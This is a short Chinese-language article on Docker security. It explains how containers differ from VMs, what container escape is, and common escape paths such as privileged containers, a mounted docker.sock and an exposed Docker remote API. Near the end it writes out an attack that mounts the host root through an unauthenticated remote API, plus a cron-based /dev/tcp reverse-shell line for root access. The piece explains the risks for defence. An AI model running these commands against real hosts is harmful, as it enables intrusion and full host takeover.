Docker 安全性議題
容器跟 VM 差在哪、什麼是容器逃逸、還有那些避免容器逃逸的方法。
Container VS VM
容器(Container)和虛擬機(VM)都能達到資源隔離與分配的效果, 但兩者的本質不同。容器是針對作業系統層級的虛擬化, 讓應用程式和其所需的環境可以快速、輕量地被部署與移動;而虛擬機則是針對硬體層級的虛擬化, 將一台實體伺服器切割成多台獨立的虛擬伺服器。
容器技術能讓我們在同樣硬體資源下, 部署更多應用程式, 提升運算效率與資源利用率, 也更適合現代雲端與敏捷開發的需求。
容器逃逸
所謂「容器逃逸」, 是指有心人士利用技術手段, 讓本來應該被隔離的容器突破限制, 進而存取主機系統或其他容器的資源。這種情況可能導致敏感資料外洩, 甚至讓整個系統或服務癱瘓。容器逃逸一直是企業導入容器技術時最關鍵的安全議題之一。
常見的容器逃逸方法
-
系統漏洞攻擊: 攻擊者可能利用容器本身或作業系統核心的漏洞, 突破原本的隔離機制, 進而取得主機的控制權。
-
不安全的設定:
-
特權容器(Privileged Container): 當容器以
--privileged
參數啟動時, 等同於給予容器主機的最高權限。這種情況下, 攻擊者可以直接在容器內存取主機設備或檔案, 輕易突破隔離。 -
不安全掛載(如 docker.sock): 如果將 Docker 的 socket 檔案(docker.sock)掛載到容器內, 等於讓容器擁有操作主機 Docker 的能力。攻擊者可藉此在容器內啟動新的容器, 甚至掛載主機根目錄, 進一步存取主機所有檔案。
-
Docker 遠端 API 未授權存取: Docker 預設只允許本地端透過 socket 溝通, 但如果開啟遠端 API 且沒有控管權限, 攻擊者可遠端建立容器並掛載主機目錄, 甚至植入惡意程式, 取得主機最高權限。
例如:
docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash
這樣就能讓容器直接存取主機所有檔案。
進一步, 攻擊者還能寫入排程任務, 取得主機的 shell:
echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root
只要攻擊端監聽對應的 port, 就能遠端取得主機 root 權限。
-